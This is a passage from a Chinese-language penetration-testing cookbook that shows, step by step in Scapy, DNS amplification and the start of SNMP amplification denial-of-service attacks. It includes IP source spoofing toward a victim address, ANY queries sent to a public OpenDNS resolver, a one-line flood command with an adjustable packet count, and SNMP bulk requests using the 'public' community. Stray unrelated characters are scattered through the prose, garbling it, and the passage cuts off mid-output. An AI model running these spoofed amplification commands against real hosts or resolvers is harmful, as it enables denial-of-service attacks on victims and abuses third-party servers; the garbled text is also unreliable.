為了構(gòu)建 DNS 問(wèn)題記錄,我們將使用與 IP碍侦,UDP 和 DNS 層相同的技術(shù)粱坤。 在提供的示例中,DNS 問(wèn)題記錄已賦給q
變量瓷产。 如前所述站玄,可以通過(guò)調(diào)用display()
函數(shù)來(lái)確定默認(rèn)配置。 在這里濒旦,我們可以看到有幾個(gè)值需要修改:
>>> q.qname = 'google.com'
>>> q.qtype=255
>>> q.display()
###[ DNS Question Record ]###
qname= 'google.com'
qtype= ALL
qclass= IN
qname
值需要設(shè)置為要查詢(xún)的域株旷。 另外,qtype
需要通過(guò)傳遞一個(gè)整數(shù)值 255 來(lái)設(shè)置為ALL
尔邓。通過(guò)再次調(diào)用display()
函數(shù)晾剖,我們可以驗(yàn)證是否已經(jīng)調(diào)整了配置。 現(xiàn)在問(wèn)題記錄已經(jīng)配置完畢梯嗽,問(wèn)題記錄對(duì)象應(yīng)該賦給DNS qd
值:
>>> d.qd = q
>>> d.display()
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
\qd\
|###[ DNS Question Record ]###
|
qname= 'google.com'
|
qtype= ALL
|
qclass= IN
an= None
ns= None
ar= None
我們可以通過(guò)調(diào)用display()
函數(shù)來(lái)驗(yàn)證問(wèn)題記錄是否已賦給 DNS qd
值齿尽。 現(xiàn)在已經(jīng)構(gòu)建了 IP,UDP 和 DNS 層灯节,并且已經(jīng)將相應(yīng)的問(wèn)題記錄賦給 DNS 層循头,我們可以通過(guò)堆疊這些層來(lái)構(gòu)造請(qǐng)求:
>>> request = (i/u/d)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp
chksum= None
src= 172.16.36.180
dst= 208.67.220.220
\options\
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
\qd\
|###[ DNS Question Record ]###
| qname= 'google.com'
| qtype= ALL
| qclass= IN
an= None
ns= None
ar= None
可以通過(guò)使用斜杠分隔變量來(lái)堆疊 IP,UDP 和 DNS 層炎疆。 然后可以將這些層賦給表示整個(gè)請(qǐng)求的新變量卡骂。 然后可以調(diào)用display()
函數(shù)來(lái)查看請(qǐng)求的配置。 在發(fā)送此請(qǐng)求之前磷雇,我們應(yīng)該以相同的顯示格式查看它偿警,因?yàn)槲覀冃枰榭错憫?yīng)。 這樣唯笙,我們可以更好地從視覺(jué)上理解請(qǐng)求和響應(yīng)之間發(fā)生的放大螟蒸。 這可以通過(guò)直接調(diào)用變量來(lái)完成:
>>> request
<IP frag=0 proto=udp dst=208.67.220.220 |<UDP sport=domain |<DNS rd=1 qdcount=1 qd=<DNSQR qname='google.com' qtype=ALL |> |>>>
一旦建立了請(qǐng)求,它就可以被傳遞給發(fā)送和接收函數(shù)崩掘,以便我們可以分析響應(yīng)七嫌。 我們不會(huì)將它賦給一個(gè)變量,而是直接調(diào)用該函數(shù)苞慢,以便可以以相同的格式查看響應(yīng):
>>> sr1(request)
Begin emission:
....................Finished to send 1 packets.
.............................*
Received 50 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=378 id=29706 flags= frag=0L ttl=128 proto=udp chksum=0x4750 src=208.67.220.220 dst=172.16.36.232 options=[] |<UDP sport=domain dport=domain len=358 chksum=0xf360 |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=17 nscount=0 arcount=0 qd=<DNSQR qname='google.com.' qtype=ALL qclass=IN |> an=<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.103' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.102' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.98' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.96' |<DNSRR rrname='google. com.' type=A rclass=IN ttl=188 rdata='74.125.228.99' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.110' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.100' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.97' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.104' |<DNSRR rrname='google. com.' type=A rclass=IN ttl=188 rdata='74.125.228.105' |<DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.101' |<DNSRR rrname='google.com.' type=AAAA rclass=IN ttl=234 rdata='2607 :f8b0:4004:803::1002' |<DNSRR rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns2.google.com.' |<DNSRR rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns1.google.com.' |<DNSRR rrname='google. com.' type=NS rclass=IN ttl=171376 rdata='ns3.google.com.' |<DNSRR rrname='google.com.' type=NS rclass=IN ttl=171376 rdata='ns4.google.com.' |<DNSRR rrname='google.com.' type=SOA rclass=IN ttl=595 rdata='\xc1\x06\ tdns-admin\xc0\x0c\x00\x17\xd0`\x00\x00\x1c \x00\x00\x07\x08\x00\x12u\ x00\x00\x00\x01,' |>>>>>>>>>>>>>>>>> ns=None ar=None |>>>
該響應(yīng)確認(rèn)了我們已成功構(gòu)建所需的請(qǐng)求诵原,并且我們已請(qǐng)求了一個(gè)相當(dāng)大的有效內(nèi)容,其中包括google.com
域的11個(gè)A記錄,1個(gè)AAAA記錄绍赛,4個(gè)NS記錄和1個(gè)SOA記錄蔓纠。 此練習(xí)清楚地表明,請(qǐng)求的響應(yīng)明顯大于請(qǐng)求本身吗蚌。 為了使這個(gè)放大攻擊有效腿倚,它需要通過(guò)偽造源 IP 地址重定向到我們的目標(biāo):
>>> i.src = "172.16.36.135"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.135
dst= 208.67.220.220
\options\
>>> request = (i/u/d)
>>> request
<IP frag=0 proto=udp src=172.16.36.135 dst=208.67.220.220 |<UDP sport=domain |<DNS rd=1 qdcount=1 qd=<DNSQR qname='google.com' qtype=ALL |> |>>>
將源 IP 地址值重新定義為目標(biāo)系統(tǒng)的 IP 地址的字符串后,我們可以使用display()
函數(shù)確認(rèn)該值已調(diào)整蚯妇。 然后我們可以重建我們的更改后的請(qǐng)求敷燎。 為了驗(yàn)證我們是否能夠?qū)?DNS 查詢(xún)響應(yīng)重定向到此偽造主機(jī),我們可以在主機(jī)上啟動(dòng) TCPdump:
admin@ubuntu:~$ sudo tcpdump -i eth0 src 208.67.220.220 -vv
[sudo] password for admin:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
在提供的示例中箩言,TCPdump 配置將捕獲eth0
接口上硬贯,來(lái)自208.67.220.220
源地址(查詢(xún)的DNS服務(wù)器的地址)的所有流量。 然后陨收,我們可以使用send()
函數(shù)發(fā)送我們的請(qǐng)求:
>>> send(request)
.
Sent 1 packets.
>>> send(request)
.
Sent 1 packets.
發(fā)送請(qǐng)求后饭豹,我們應(yīng)該返回到 TCPdump 的內(nèi)容,來(lái)驗(yàn)證 DNS 查詢(xún)的響應(yīng)是否返回給了受害服務(wù)器:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
19:07:12.926773 IP (tos 0x0, ttl 128, id 11341, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. A yyz08s13-in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100. net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13in-f0.1e100.net, google.com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100.net, google.com. A yyz08s13-in-f9.1e100.net, google. com. A yyz08s13-in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. NS ns2.google.com., google.com. NS ns1.google.com., google. com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1.google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322)
19:07:15.448636 IP (tos 0x0, ttl 128, id 11359, offset 0, flags [none], proto UDP (17), length 350) resolver2.opendns.com.domain > 172.16.36.135. domain: [udp sum ok] 0 q: ANY? google.com. 16/0/0 google.com. A yyz08s13in-f14.1e100.net, google.com. A yyz08s13-in-f6.1e100.net, google.com. A yyz08s13-in-f2.1e100.net, google.com. A yyz08s13-in-f0.1e100.net, google. com. A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100. net, google.com. A yyz08s13-in-f9.1e100.net, google.com. A yyz08s13in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, google.com. A yyz08s13-in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, google. com. NS ns2.google.com., google.com. NS ns1.google.com., google.com. NS ns3.google.com., google.com. NS ns4.google.com., google.com. SOA ns1. google.com. dns-admin.google.com. 1545677 7200 1800 1209600 300 (322)
這個(gè)執(zhí)行 DNS 放大的整個(gè)過(guò)程畏吓,實(shí)際上可以用 Scapy 中的單行命令來(lái)執(zhí)行墨状。 此命令使用所有與上一個(gè)練習(xí)中討論的相同的值卫漫。 然后可以修改count
值以定義要發(fā)送到受害服務(wù)器的載荷響應(yīng)數(shù):
>>> send(IP(dst="208.67.220.220",src="172.16.36.135")/UDP()/DNS(rd=1,qdco unt=1,qd=DNSQR(qname="google.com",qtype=255)),verbose=1,count=2)
..
Sent 2 packets.
工作原理
放大攻擊的原理是利用第三方設(shè)備菲饼,使網(wǎng)絡(luò)流量壓倒目標(biāo)。 對(duì)于多數(shù)放大攻擊列赎,必須滿(mǎn)足兩個(gè)條件:
- 用于執(zhí)行攻擊的協(xié)議不驗(yàn)證請(qǐng)求源
- 來(lái)自所使用的網(wǎng)絡(luò)功能的響應(yīng)應(yīng)該顯著大于用于請(qǐng)求它的請(qǐng)求宏悦。
DNS 放大攻擊的效率取決于 DNS 查詢(xún)的響應(yīng)大小。 另外包吝,可以通過(guò)使用多個(gè) DNS 服務(wù)器來(lái)增加攻擊的威力饼煞。
SNMP 放大 DoS 攻擊
SNMP 擴(kuò)展攻擊通過(guò)偽造具有大型響應(yīng)的查詢(xún),來(lái)利用團(tuán)體字符串可預(yù)測(cè)的 SNMP 設(shè)備诗越。 通過(guò)使用分布式 DDoS 組件砖瞧,以及通過(guò)同時(shí)向多個(gè) SNMP 設(shè)備發(fā)送請(qǐng)求,可以提高這種攻擊的效率嚷狞。
準(zhǔn)備
為了模擬 SNMP 放大攻擊块促,你需要有一個(gè)啟用 SNMP 的設(shè)備。 所提供的示例使用 Windows XP 設(shè)備床未。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息竭翠,請(qǐng)參閱本書(shū)第一章中的“安裝 Windows Server”秘籍。 此外薇搁,此秘籍將 Ubuntu 用作掃描目標(biāo)斋扰。 有關(guān)設(shè)置 Ubuntu 的更多信息,請(qǐng)參閱本書(shū)第一章中的“安裝 Ubuntu Server”秘籍。
操作步驟
為了開(kāi)始传货,我們應(yīng)該初始化一個(gè) SNMP 查詢(xún)屎鳍,使其返回到我們的系統(tǒng),來(lái)評(píng)估要使用的載荷大小问裕。 為了發(fā)送我們的 SNMP 查詢(xún)請(qǐng)求哥艇,我們必須首先構(gòu)建此請(qǐng)求的層級(jí)。 我們需要構(gòu)建的第一層是 IP 層:
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = "172.16.36.134"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.134
\options\
要構(gòu)建我們的請(qǐng)求的 IP 層僻澎,我們應(yīng)該將 IP
對(duì)象賦給變量i
貌踏。 通過(guò)調(diào)用display()
函數(shù),我們可以確定該對(duì)象的屬性配置窟勃。 通常祖乳,發(fā)送和接收地址都設(shè)為回送地址127.0.0.1
。 可以通過(guò)將i.dst
設(shè)置為廣播地址的字符串值秉氧,來(lái)更改目標(biāo)地址并修改這些值眷昆。 通過(guò)再次調(diào)用display()
函數(shù),我們可以看到汁咏,不僅更新了目的地址亚斋,而且Scapy
也會(huì)自動(dòng)將源 IP 地址更新為與默認(rèn)接口相關(guān)的地址。 現(xiàn)在我們已經(jīng)構(gòu)建了請(qǐng)求的 IP 層攘滩,我們應(yīng)該繼續(xù)構(gòu)建 UDP 層:
>>> u = UDP()
>>> u.display()
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
要構(gòu)建我們的請(qǐng)求的 UDP 層帅刊,我們將使用與IP層相同的技術(shù)。 在提供的示例中漂问,UDP
對(duì)象賦給了u
變量赖瞒。 如前所述,可以通過(guò)調(diào)用display()
函數(shù)來(lái)確定默認(rèn)配置蚤假。 在這里栏饮,我們可以看到源和目標(biāo)端口的默認(rèn)值都列為domain
。 您可能能猜到磷仰,這表示與端口 53 相關(guān)的 DNS服 務(wù)袍嬉。你可能已經(jīng)猜到,它需要修改為 SNMP 相關(guān)的端口:
>>> u.dport = 161
>>> u.sport = 161
>>> u.display()
###[ UDP ]###
sport= snmp
dport= snmp
len= None
chksum= None
要將源端口和目標(biāo)端口更改為 SNMP灶平,應(yīng)將整數(shù)值 161 傳遞給它; 此值對(duì)應(yīng)于與服務(wù)關(guān)聯(lián)的 UDP 端口伺通。 這些更改可以通過(guò)再次調(diào)用display()
函數(shù)來(lái)驗(yàn)證。 現(xiàn)在已經(jīng)構(gòu)建了 IP 和 UDP 層民逼,我們需要構(gòu)建 SNMP 層:
>>> snmp = SNMP()
>>> snmp.display()
###[ SNMP ]###
version= v2c
community= 'public'
\PDU\
|###[ SNMPget ]###
| id= 0
| error= no_error
| error_index= 0
|
\varbindlist\
為了構(gòu)建我們的請(qǐng)求的 SNMP 層泵殴,我們將使用與 IP 和 UDP 層相同的技術(shù)。 在提供的示例中拼苍,SNMP
對(duì)象已賦給snmp
變量笑诅。 如前所述调缨,可以通過(guò)調(diào)用display()
函數(shù)來(lái)標(biāo)識(shí)默認(rèn)配置。 現(xiàn)在已經(jīng)構(gòu)建了 IP吆你,UDP 和 SNMP 層弦叶,我們需要構(gòu)建一個(gè)批量請(qǐng)求來(lái)替換默認(rèn)賦給 PDU
值的SNMPget
請(qǐng)求:
>>> bulk = SNMPbulk()
>>> bulk.display()
###[ SNMPbulk ]###
id= 0
non_repeaters= 0
max_repetitions= 0
\varbindlist\
為了構(gòu)建 SNMP 批量請(qǐng)求,我們將使用與 IP妇多,UDP 和 SNMP 層相同的技術(shù)伤哺。 在提供的示例中,SNMP 批量請(qǐng)求已賦給了bulk
變量者祖。 如前所述立莉,可以通過(guò)調(diào)用display()
函數(shù)來(lái)確認(rèn)默認(rèn)配置。 在這里七问,我們可以看到有幾個(gè)值需要修改:
>>> bulk.max_repetitions = 50
>>> bulk.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarb ind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]
>>> bulk.display()
###[ SNMPbulk ]###
id= 0
non_repeaters= 0
max_repetitions= 50
\varbindlist\
|###[ SNMPvarbind ]###
| oid= <ASN1_OID['.1.3.6.1.2.1.1']>
| value= <ASN1_NULL[0]>
|###[ SNMPvarbind ]###
| oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
| value= <ASN1_NULL[0]>
SNMP varbindlist
需要修改來(lái)包含查詢(xún)的 OID 值蜓耻。 此外,max_repetitions
賦了整數(shù)值為 50⌒笛玻現(xiàn)在批量請(qǐng)求已配置完畢刹淌,批量請(qǐng)求對(duì)象應(yīng)賦給SNMP PDU
值:
>>> snmp.PDU = bulk
>>> snmp.display()
###[ SNMP ]###
version= v2c
community= 'public'
\PDU\
|###[ SNMPbulk ]###
| id= 0
| non_repeaters= 0
| max_repetitions= 50
| \varbindlist\
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.1']>
|
| value= <ASN1_NULL[0]>
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
|
| value= <ASN1_NULL[0]>
我們可以通過(guò)調(diào)用display()
函數(shù)來(lái)驗(yàn)證批量請(qǐng)求是否已賦給SNMP PDU
值。 現(xiàn)在已經(jīng)構(gòu)建了 IP讥耗,UDP 和 SNMP 層有勾,并且批量請(qǐng)求已經(jīng)配置并賦給 SNMP 層,我們可以通過(guò)堆疊這些層來(lái)構(gòu)造請(qǐng)求:
>>> request = (i/u/snmp)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp
chksum= None
src= 172.16.36.224
dst= 172.16.36.134
\options\
###[ UDP ]###
sport= snmp
dport= snmp
len= None
chksum= None
###[ SNMP ]###
version= v2c
community= 'public'
\PDU\
|###[ SNMPbulk ]###
| id= 0
| non_repeaters= 0
| max_repetitions= 50
| \varbindlist\
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.1']>
|
| value= <ASN1_NULL[0]>
|
|###[ SNMPvarbind ]###
|
| oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
|
| value= <ASN1_NULL[0]>
可以通過(guò)使用斜杠分隔變量來(lái)堆疊 IP古程,UDP 和 SNMP 層蔼卡。 然后可以將這些層賦給表示整個(gè)請(qǐng)求的新變量。 然后可以調(diào)用display()
函數(shù)來(lái)查看請(qǐng)求的配置籍琳。 一旦建立了請(qǐng)求菲宴,就可以將其傳遞給發(fā)送和接收函數(shù),以便我們可以分析響應(yīng):
>>> ans = sr1(request,verbose=1,timeout=5)
Begin emission:
Finished to send 1 packets.
Received 1 packets, got 1 answers, remaining 0 packets
>>> ans.display()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 1500
id= 27527
flags= MF
frag= 0L
ttl= 128
proto= udp
chksum= 0x803
src= 172.16.36.134
dst= 172.16.36.224
\options\
###[ UDP ]###
sport= snmp
dport= snmp
len= 2161
chksum= 0xdcbf
###[ Raw ]###
load= '0\x82\x08e\x02\x01\x01\x04\x06public\xa2\x82\x08V\x02\ x01\x00\x02\x01\x00\x02\x01\x000\x82\x08I0\x81\x8b\x06\x08+\x06\x01\x02\ x01\x01\x01\x00\x04\x7fHardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)0\x10\x06\t+\x06\x01\x02\x01\x19\x01\x01\x00C\x03p\xff?0\x18\x06\ x08+\x06\x01\x02\x01\x01\x02\x00\x06\x0c+\x06\x01\x04\x01\x827\x01\x01\ x03\x01\x010\x15\x06\t+\x06\x01\x02\x01\x19\x01\x02\x00\x04\x08\x07\xde\ x02\x19\x08\r\x1d\x030\x0f\x06\x08+\x06\x01\x02\x01\x01\x03\x00C\x03o\ x8e\x8a0\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x03\x00\x02\x01\x000\x0c\ x06\x08+\x06\x01\x02\x01\x01\x04\x00\x04\x000\r\x06\t+\x06\x01\x02\x01\ x19\x01\x04\x00\x04\x000\x1b\x06\x08+\x06\x01\x02\x01\x01\x05\x00\x04\ x0fDEMO-72E8F41CA40\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x05\x00B\x01\x020\ x0c\x06\x08+\x06\x01\x02\x01\x01\x06\x00\x04\x000\x0e\x06\t+\x06\x01\ x02\x01\x19\x01\x06\x00B\x01/0\r\x06\x08+\x06\x01\x02\x01\x01\x07\x00\ x02\x01L0\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x07\x00\x02\x01\x000\r\x06\ x08+\x06\x01\x02\x01\x02\x01\x00\x02\x01\x020\x10\x06\t+\x06\x01\x02\x01\ x19\x02\x02\x00\x02\x03\x1f\xfd\xf00\x0f\x06\n+\x06\x01\x02\x01\x02\x02\ x01\x01\x01\x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x01\x01\x02\x01\x010\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\x02\x02\ x01\x020\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x02\x02\x01\ x020(\x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x01\x04\x1aMS TCP Loopback interface\x000\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x03\x02\x01\x030P\x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x02\x04BAMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport\x000\x10\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x01\x04\x02\x01\x040\x0f\x06\n+\x06\x01\x02\ x01\x02\x02\x01\x03\x01\x02\x01\x180\x10\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x01\x05\x02\x01\x050\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x03\x02\x02\x01\x060\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\ x01\x06\t+\x06\x01\x02\x01\x19\x02\x01\x050\x10\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x04\x01\x02\x02\x05\xf00\x18\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x02\x02\x06\t+\x06\x01\x02\x01\x19\x02\x01\x040\x10\x06\n+\ x06\x01\x02\x01\x02\x02\x01\x04\x02\x02\x02\x05\xdc0\x18\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x02\x03\x06\t+\x06\x01\x02\x01\x19\x02\x01\ x070\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x01B\x04\x00\x98\x96\ x800\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x04\x06\t+\x06\ x01\x02\x01\x19\x02\x01\x030\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\ x02B\x04;\x9a\xca\x000\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\ x05\x06\t+\x06\x01\x02\x01\x19\x02\x01\x020\x0e\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x06\x01\x04\x000\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\ x01\x03\x01\x04\x03A:\\0\x14\x06\n+\x06\x01\x02\x01\x02\x02\x01\x06\x02\ x04\x06\x00\x0c)\x18\x11\xfb01\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x03\x02\x04"C:\\ Label: Serial Number 5838200b0\x0f\x06\n+\x06\x01\x02\ x01\x02\x02\x01\x07\x01\x02\x01\x010\x12\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x03\x03\x04\x03D:\\0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x07\x02\x02\x01\x010\x1d\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\ x04\x04\x0eVirtual Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\ x01\x02\x01\x010\x1e\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x05\ x04\x0fPhysical Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x02\ x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x01\x02\ x01\x000\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\t\x01C\x01\x000\x11\x06\ x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x02\x02\x02\x10\x000\x11\x06\ n+\x06\x01\x02\x01\x02\x02\x01\t\x02C\x03m\xbb00\x10\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x04\x03\x02\x01\x000\x12\x06\n+\x06\x01\x02\x01\ x02\x02\x01\n\x01A\x04\x05\xcb\xd6M0\x12\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x04\x04\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\ x02\x01\n\x02A\x03\x06\xb1\xa80\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\ x01\x04\x05\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x0b\x01A\x03\rR\x920\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\ x01\x02\x01\x000\x10\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0b\x02A\x02\x0c\ xfe0\x13\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x02\x02\x04\x00\ x9f\xf6a0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0c\x01A\x01\x000\x10\ x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x03\x02\x01\x000'
響應(yīng)確認(rèn)了我們已經(jīng)成功構(gòu)建了所需請(qǐng)求趋急,并且與最初生成的相對(duì)較小請(qǐng)求相比,已經(jīng)請(qǐng)求了相當(dāng)大的載荷势誊。 與之相似呜达,整個(gè)過(guò)程可以使用 Scapy 中的單個(gè)命令來(lái)執(zhí)行。 此命令使用所有與上一個(gè)練習(xí)中討論的相同的值:
>>> sr1(IP(dst="172.16.36.134")/UDP(sport=161,dport=161)/ SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist=[SNMPvarbind(oid=ASN1_OD('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))])),ve rbose=1,timeout=5)
Begin emission: Finished to send 1 packets.
<IP version=4L ihl=5L tos=0x0 len=1500 id=14170 flags=MF frag=0L ttl=128 proto=udp chksum=0x3c30 src=172.16.36.134 dst=172.16.36.224 options=[] |<UDP sport=snmp dport=snmp len=2162 chksum=0xd961 |<Raw load='0\x82\ x08f\x02\x01\x01\x04\x06public\xa2\x82\x08W\x02\x01\x00\x02\x01\x00\ x02\x01\x000\x82\x08J0\x81\x8b\x06\x08+\x06\x01\x02\x01\x01\x01\x00\ x04\x7fHardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)0\x11\ x06\t+\x06\x01\x02\x01\x19\x01\x01\x00C\x04\x00\xa3i\xad0\x18\x06\x08+\ x06\x01\x02\x01\x01\x02\x00\x06\x0c+\x06\x01\x04\x01\x827\x01\x01\x03\ x01\x010\x15\x06\t+\x06\x01\x02\x01\x19\x01\x02\x00\x04\x08\x07\xde\x02\ x19\t\x08!\x010\x0f\x06\x08+\x06\x01\x02\x01\x01\x03\x00C\x03t\x99\x180\ x0e\x06\t+\x06\x01\x02\x01\x19\x01\x03\x00\x02\x01\x000\x0c\x06\x08+\ x06\x01\x02\x01\x01\x04\x00\x04\x000\r\x06\t+\x06\x01\x02\x01\x19\x01\ x04\x00\x04\x000\x1b\x06\x08+\x06\x01\x02\x01\x01\x05\x00\x04\x0fDEMO72E8F41CA40\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x05\x00B\x01\x020\x0c\x06\ x08+\x06\x01\x02\x01\x01\x06\x00\x04\x000\x0e\x06\t+\x06\x01\x02\x01\ x19\x01\x06\x00B\x01/0\r\x06\x08+\x06\x01\x02\x01\x01\x07\x00\x02\x01L0\ x0e\x06\t+\x06\x01\x02\x01\x19\x01\x07\x00\x02\x01\x000\r\x06\x08+\x06\ x01\x02\x01\x02\x01\x00\x02\x01\x020\x10\x06\t+\x06\x01\x02\x01\x19\x02\ x02\x00\x02\x03\x1f\xfd\xf00\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\ x01\x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x01\ x02\x01\x010\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\x02\x02\x01\x020\ x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x02\x02\x01\x020(\x06\ n+\x06\x01\x02\x01\x02\x02\x01\x02\x01\x04\x1aMS TCP Loopback interface\ x000\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x03\x02\x01\x030P\ x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x02\x04BAMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport\x000\x10\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x01\x04\x02\x01\x040\x0f\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x03\x01\x02\x01\x180\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x01\x05\x02\x01\x050\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x03\ x02\x02\x01\x060\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x01\ x06\t+\x06\x01\x02\x01\x19\x02\x01\x050\x10\x06\n+\x06\x01\x02\x01\x02\ x02\x01\x04\x01\x02\x02\x05\xf00\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x02\x02\x06\t+\x06\x01\x02\x01\x19\x02\x01\x040\x10\x06\n+\x06\ 